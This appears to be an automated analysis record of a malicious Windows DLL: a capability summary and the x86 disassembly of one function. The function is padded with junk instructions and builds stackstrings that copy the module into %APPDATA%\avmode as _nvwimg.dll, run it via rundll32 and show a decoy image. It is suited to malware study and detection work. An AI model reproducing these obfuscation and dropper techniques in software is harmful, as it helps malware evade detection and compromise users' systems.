Function at 0x100021eb
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d8
push ebx
push esi
push edi
push ebp
nop
nop
mov ebp, esp
push 0x3a0f
inc ecx
dec ecx
test esi, esi
nop
mov esp, ebp
nop
nop
pop ebp
add eax, 0
jne 0x10002148
je 0x10002148
call 0x6500e1cf
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
inc ecx
dec ecx
add esp, 6
sub esp, 6
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0xcc], eax
nop
push str.GetModuleFileNameA
push str.kernel32
call esi
push eax
call edi
mov ebx, eax
mov dword [ebp - 0xc0], ebx
nop
push str.ExpandEnvironmentStringsA
push str.kernel32
call esi
push eax
call edi
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], 0
lea eax, [0x100021eb]
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
and eax, 0xfffff000
sub eax, 0x1000
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 0xa
sub esp, 0xa
push 0xffffb736
mov esp, ebp
nop
pop ebp
cmp word [eax], 0x5a4d
jne 0x100021eb
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 1
sub esp, 1
test esi, esi
nop
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc4]
push 0x104
push 0x10004418
push eax
call ebx
nop
nop
push ebp
nop
mov ebp, esp
add esp, 3
sub esp, 3
inc ecx
dec ecx
add esp, 7
add esp, 0xfffffff9
mov esp, ebp
pop ebp
push 0x10004418
call dword [sym.imp.MSVCRT.dll__strlwr]
xor ecx, ecx
mov edi, str._nvwimg.dll
mov dword [ebp - 0x2f], ecx
xor eax, eax
mov dword [ebp - 0x2b], ecx
add esp, 4
mov dword [ebp - 0x27], ecx
lea edx, [ebp - 0x30]
mov word [ebp - 0x23], cx
mov byte [ebp - 0x30], 0
mov byte [ebp - 0x21], cl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
xor ecx, ecx
mov edi, str.avmode
mov dword [ebp - 0x13], ecx
xor eax, eax
mov dword [ebp - 0xf], ecx
lea edx, [ebp - 0x14]
mov word [ebp - 0xb], cx
mov byte [ebp - 0x14], 0
mov byte [ebp - 9], cl
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebp
nop
nop
mov ebp, esp
push ebx
pop ebx
inc ecx
dec ecx
test esi, esi
add esp, 4
add esp, 0xfffffffc
mov esp, ebp
nop
pop ebp
lea ecx, [ebp - 0x30]
push ecx
push 0x10004418
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x1000289a
nop
push ebp
mov ebp, esp
add esp, 3
add esp, 0xfffffffd
add esp, 7
sub esp, 7
test esi, esi
inc ecx
dec ecx
nop
nop
mov esp, ebp
pop ebp
mov ecx, 7
lea edi, [ebp - 0x9b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, 0x25
mov al, 0x50
mov byte [ebp - 0x9c], cl
mov byte [ebp - 0x9b], 0x41
mov byte [ebp - 0x9a], al
mov byte [ebp - 0x99], al
mov byte [ebp - 0x98], 0x44
mov byte [ebp - 0x97], 0x41
mov byte [ebp - 0x96], 0x54
mov byte [ebp - 0x95], 0x41
mov byte [ebp - 0x94], cl
mov byte [ebp - 0x93], 0x5c
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
inc ecx
dec ecx
push 0x7043
add esp, 0xa
add esp, 0xfffffff6
nop
mov esp, ebp
pop ebp
lea edi, [ebp - 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x9c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
push ebp
mov ebp, esp
push 0x109d
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov ecx, 0x40
lea edi, [ebp - 0x1cf]
mov byte [ebp - 0x1d0], al
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1d0]
lea ecx, [ebp - 0x9c]
push eax
push ecx
call dword [ebp - 0xc8]
lea edx, [ebp - 0x1d0]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
push ebp
mov ebp, esp
add esp, 8
sub esp, 8
add esp, 7
add esp, 0xfffffff9
test esi, esi
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x4d7]
mov byte [ebp - 0x4d8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1d0]
lea ecx, [ebp - 0x4d8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x4d8]
push edx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x4d8]
push 0
push ecx
push 0x10004418
call esi
xor edx, edx
mov dword [ebp - 0x3b], edx
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x37], edx
lea ecx, [ebp - 0x1d0]
mov word [ebp - 0x33], dx
push eax
push ecx
mov byte [ebp - 0x31], dl
mov byte [ebp - 0x3c], 0x5c
mov byte [ebp - 0x3b], 0x74
mov byte [ebp - 0x3a], 0x65
mov byte [ebp - 0x39], 0x6d
mov byte [ebp - 0x38], 0x70
call ebx
nop
push ebp
mov ebp, esp
test esi, esi
add esp, 6
sub esp, 6
inc ecx
dec ecx
add esp, 5
sub esp, 5
mov esp, ebp
nop
pop ebp
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3d3]
mov byte [ebp - 0x3d4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp - 0xc4]
lea edx, [ebp - 0x3d4]
push 0x104
push edx
push eax
call dword [ebp - 0xc0]
lea ecx, [ebp - 0x3d4]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll__mbsrchr]
add esp, 8
mov byte [eax], 0
lea edx, [ebp - 0x3c]
lea eax, [ebp - 0x3d4]
push edx
push eax
call ebx
lea ecx, [ebp - 0x1d0]
push 0
lea edx, [ebp - 0x3d4]
push ecx
push edx
call esi
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x4b], ecx
mov dword [ebp - 7], eax
mov dword [ebp - 0x47], ecx
lea edx, [ebp - 0x4c]
mov dword [ebp - 0x43], ecx
mov word [ebp - 3], ax
mov word [ebp - 0x3f], cx
push edx
push str.shell32
mov byte [ebp - 1], al
mov byte [ebp - 8], 0x4f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x6e
mov byte [ebp - 0x3d], cl
mov byte [ebp - 0x4c], 0x53
mov byte [ebp - 0x4b], 0x68
mov byte [ebp - 0x4a], 0x65
mov byte [ebp - 0x49], 0x6c
mov byte [ebp - 0x48], 0x6c
mov byte [ebp - 0x47], 0x45
mov byte [ebp - 0x46], 0x78
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x43], 0x75
mov byte [ebp - 0x42], 0x74
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0x41
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10004418
mov dword [ebp - 0xc0], eax
call dword [ebp - 0xcc]
xor eax, eax
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x1f], eax
push ecx
mov dword [ebp - 0x1b], eax
push 0x10004418
mov word [ebp - 0x17], ax
mov byte [ebp - 0x20], 0x5c
mov byte [ebp - 0x15], al
mov al, 0x62
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], 0x73
mov byte [ebp - 0x1c], 0x2e
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x1a], 0x6d
mov byte [ebp - 0x19], 0x70
call ebx
push ebp
mov ebp, esp
add esp, 3
sub esp, 3
add esp, 5
add esp, 0xfffffffb
nop
mov esp, ebp
nop
pop ebp
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x2cf]
mov byte [ebp - 0x2d0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebp
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 0xa
add esp, 0xfffffff6
add esp, 7
sub esp, 7
mov esp, ebp
nop
pop ebp
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0xbb]
mov dl, 0x77
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0xbc], 0x73
mov byte [ebp - 0xbb], 0x68
mov byte [ebp - 0xba], 0x69
mov byte [ebp - 0xb9], 0x6d
mov byte [ebp - 0xb8], 0x67
mov byte [ebp - 0xb7], 0x76
mov byte [ebp - 0xb6], dl
mov byte [ebp - 0xb5], 0x2e
mov byte [ebp - 0xb4], 0x64
mov byte [ebp - 0xb3], 0x6c
mov byte [ebp - 0xb2], 0x6c
nop
nop
push ebp
nop
mov ebp, esp
push esi
pop esi
inc ecx
dec ecx
push 0xffffc79a
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x7b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x73], dl
lea edx, [ebp - 0xbc]
lea eax, [ebp - 0x2d0]
push edx
push eax
mov byte [ebp - 0x7c], 0x2c
mov byte [ebp - 0x7b], 0x49
mov byte [ebp - 0x7a], 0x6d
mov byte [ebp - 0x79], 0x61
mov byte [ebp - 0x78], 0x67
mov byte [ebp - 0x77], 0x65
mov byte [ebp - 0x76], 0x56
mov byte [ebp - 0x75], 0x69
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x72], 0x5f
mov byte [ebp - 0x71], 0x46
mov byte [ebp - 0x70], 0x75
mov byte [ebp - 0x6f], 0x6c
mov byte [ebp - 0x6e], 0x6c
mov byte [ebp - 0x6d], 0x73
mov byte [ebp - 0x6c], 0x63
mov byte [ebp - 0x6b], 0x72
mov byte [ebp - 0x6a], 0x65
mov byte [ebp - 0x69], 0x65
mov byte [ebp - 0x68], 0x6e
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
nop
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x7c]
push ecx
lea edx, [ebp - 0x2d0]
push edx
call ebx
lea eax, [ebp - 0x2d0]
push 0x10004398
push eax
call ebx
lea ecx, [ebp - 0x2d0]
push 0x10004418
push ecx
call ebx
xor edx, edx
mov byte [ebp - 0x5c], 0x72
mov dword [ebp - 0x5b], edx
mov byte [ebp - 0x5b], 0x75
mov dword [ebp - 0x57], edx
mov byte [ebp - 0x5a], 0x6e
mov dword [ebp - 0x53], edx
mov byte [ebp - 0x59], 0x64
mov word [ebp - 0x4f], dx
mov byte [ebp - 0x58], 0x6c
mov byte [ebp - 0x4d], dl
mov byte [ebp - 0x57], 0x6c
mov byte [ebp - 0x56], 0x33
mov byte [ebp - 0x55], 0x32
mov byte [ebp - 0x54], 0x2e
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x78
mov byte [ebp - 0x51], 0x65
nop
push ebp
nop
nop
mov ebp, esp
add esp, 0xa
sub esp, 0xa
test esi, esi
inc ecx
dec ecx
inc ecx
dec ecx
mov esp, ebp
nop
nop
pop ebp
mov esi, dword [ebp - 0xc0]
push 5
lea eax, [ebp - 0x2d0]
push 0x10004394
lea ecx, [ebp - 0x5c]
push eax
lea edx, [ebp - 8]
push ecx
push edx
push 0
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x5d7]
mov byte [ebp - 0x5d8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x4d8]
push eax
push ecx
lea edx, [ebp - 0x5d8]
push str.__s___s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
test esi, esi
add esp, 9
add esp, 0xfffffff7
add esp, 3
add esp, 0xfffffffd
mov esp, ebp
nop
pop ebp
lea eax, [ebp - 0x1d0]
push 0x104
lea ecx, [ebp - 0x9c]
push eax
push ecx
call dword [ebp - 0xc8]
nop
nop
push ebp
nop
mov ebp, esp
add esp, 6
sub esp, 6
add esp, 1
sub esp, 1
add esp, 5
add esp, 0xfffffffb
inc ecx
dec ecx
nop
mov esp, ebp
nop
nop
pop ebp
push 5
lea edx, [ebp - 0x5d8]
push 0x10004394
lea eax, [ebp - 0x5c]
push edx
lea ecx, [ebp - 8]
push eax
push ecx
push 0
call esi
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 6
add esp, 0xfffffffa
add esp, 9
sub esp, 9
nop
mov esp, ebp
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10001cf0
test al, al
jne 0x10002893
call fcn.10001d20
test al, al
jne 0x10002893
push ebp
mov ebp, esp
push edi
pop edi
add esp, 0xa
sub esp, 0xa
push ebx
pop ebx
nop
nop
mov esp, ebp
nop
nop
pop ebp
push 0
call fcn.10001d60
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
jmp 0x100028cd